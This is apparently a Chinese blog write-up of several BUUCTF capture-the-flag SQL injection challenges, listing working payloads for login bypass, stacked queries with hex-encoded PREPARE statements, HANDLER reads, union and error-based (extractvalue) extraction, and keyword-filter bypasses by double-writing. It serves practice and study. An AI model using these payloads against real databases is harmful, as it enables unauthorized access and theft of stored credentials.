总结做到的几个CTF中的sql注入的题。下面的题目逐渐由简单到困难,逐步递增。感谢BUUCTF供题。
BUUCTF-[极客大挑战 2019]EasySQL
拿到题目是下面的界面,先尝试了弱口令。没成功。
尝试万能密码。payload:admin' or 1=1# 密码随便输入,即可实现了登录。
BUUCTF-[强网杯 2019]随便注
这里用到的方法是堆叠注入。自己理解的堆叠注入的原理就是,如果在开启多语句的执行的情况下,可以使用拼接的方法,来实现多条语句的执行。例如1;show databases;那么这就是有两条语句组成的sql语句,会分别执行语句1和语句2.
这里判断出是字符型注入,并且有两个字段。
之后就来判断回显点。payload为-1' union select 1,2#但是发现有正则过滤的:
这里就是用了堆叠注入。1';show databases;#
查看当前数据库中的表名:show tables;#
发现存在两个表,先来看一下表名为“1919810931114514”的表中存在的列,show columns from 1919810931114514
,这里要注意,当表名为数字的时候,在引用的时候要加上反引号。
之后就可以去查询flag中的内容,自己学会了两种方法,对于将两个表名重命名的方法,有点点没搞清楚(懂了,但没完全懂)。
方法一
由于过滤了select等关键字,所以可以使用select * from 1919810931114514
;将该条语句进行十六进制编码。使用prepare关键字来进行相应的预处理,从而实现查询。
payload:
1';set @sql = 0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE hacker from @sql;EXecute hacker;#
PREPARE...from...是预处理语句,进行编码转化。
execute是用来执行由prepare创建的SQL语句。
set是对一个变量进行赋值。
方法二
使用handler获取内容。
1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#
接下来的blacklist就是使用handler这种方法来完成的。
BUUCTF-Blacklist
这里看到和上面的题很类似,就采用了堆叠注入。1';show tables;#
然后使用handler。payload为1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
BUUCTF-[SUCTF 2019]EasySQL
感觉这个题和上面的堆叠注入很相似,尝试堆叠注入:
这里尝试的payload为1;show databases;#居然报错了,然后紧接着尝试了1;show tables;#
这里尝试了好多方法都不行。比如上面的handler方法、以及使用set、prepare...from...等方法都回显nonono。束手无策了,看了大佬的wp。
输入1,回显:
Array( [0] => 1)
输入其他的字符或者0,没有回显。
输入select、handler等关键字回显nonono
猜测这里的查询语法是
select $_GET['query'] || flag from Flag
#||操作符:如果前面为真,则后面不执行,所以我们在传入1的时候,语句就变成了select 1 from Flag;
大佬采用的方法为操作符重置的方法:set sql_mode=PIPES_AS_CONCAT;
payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
BUUCTF-[极客大挑战 2019]LoveSQL
这里前面的判断注入就不进行判断了,我直接来判断回显点。
这里判断出2,3处可以回显。
加下来就是判断处数据库。-1' union select 1,database(),3#
开始查表->-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#
查表中的列名:-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#
接下来就是查id,username,password等具体的内容:
-1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3#
BUUCTF-[极客大挑战 2019]BabySQL
看来就是升级版咯(肯定是做了过滤吧)
同样还是先使用万能密码,admin' or 1=1#,password随便输入了。发现了报错,错误提示是1=1#右边 那就是or被过滤了,尝试双写一下。
成功登陆进来了。紧接着就是和之前一样,先来判断字段数,之后就是判断回显点。
判断字段数,oorrder bbyy 4#报错,3的时候正常回显。(by关键字被过滤)
构造payload:-admin' union select 1,2,3#但是发现了union 和 select同样也是被过滤了。还是经过了双写绕过。payload为-admin' ununionion seselectlect 1,2,3#
下面就是查数据库名:-admin' ununionion seselectlect 1,database(),3#
查询数据库中的表: -admin' ununionion seselectlect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3# 这里经过测试from和where也都被过滤了。
查列名: -admin' ununionion seselectlect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3#
继续查id,password,username等信息。
-admin' ununionion seselectlect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3#
BUUCTF-[极客大挑战 2019]HardSQL
又是加强版了.
哎这里输入什么都被抓住。看了一下大佬的wp,使用报错注入。其中过滤了空格和=号,可以使用()代替空格,like代替=号,用’^'来连接函数,形成异或。
故这里构造的payload为:admin'^extractvalue(1,concat(0x7e,database()))#
随后就是查表名和列名。
查询表名:
admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
查询列名:
admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
接下来就是查询具体的信息
admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))#
哦吼,需要改一下了查询left的20个字符。使用到了right和left。
admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))))#
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#
分别爆左右:
BUUCTF-[GXYCTF2019]BabySQli
进入登录界面,尝试万能密码
发现注释中的编码,尝试解码,base32解码得到了base64编码,在经过base64解码得到如下的代码:
select * from user where username = '$name'
这里发现如果账号不是admin的话,回显为wrong user!
账号为admin的时候,密码不对的情况,回显为wrong pass!
判断下字段数,结果发现了过滤。尝试下大小写。
当为4的时候,报错了。
做到这里就不会了,看了大佬的wp,说在联合查询不存在的数据的时候,联合查询就会构造一个虚拟的数据。这里的字段1应该是id,后面才是账号和密码。所以构造一个虚拟的数据。
payload为:
name=1' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456
这个题还是要继续好好吸收一下原理。(懂但是没有完全懂)
版权归原作者 YAy17 所有, 如有侵权,请联系我们删除。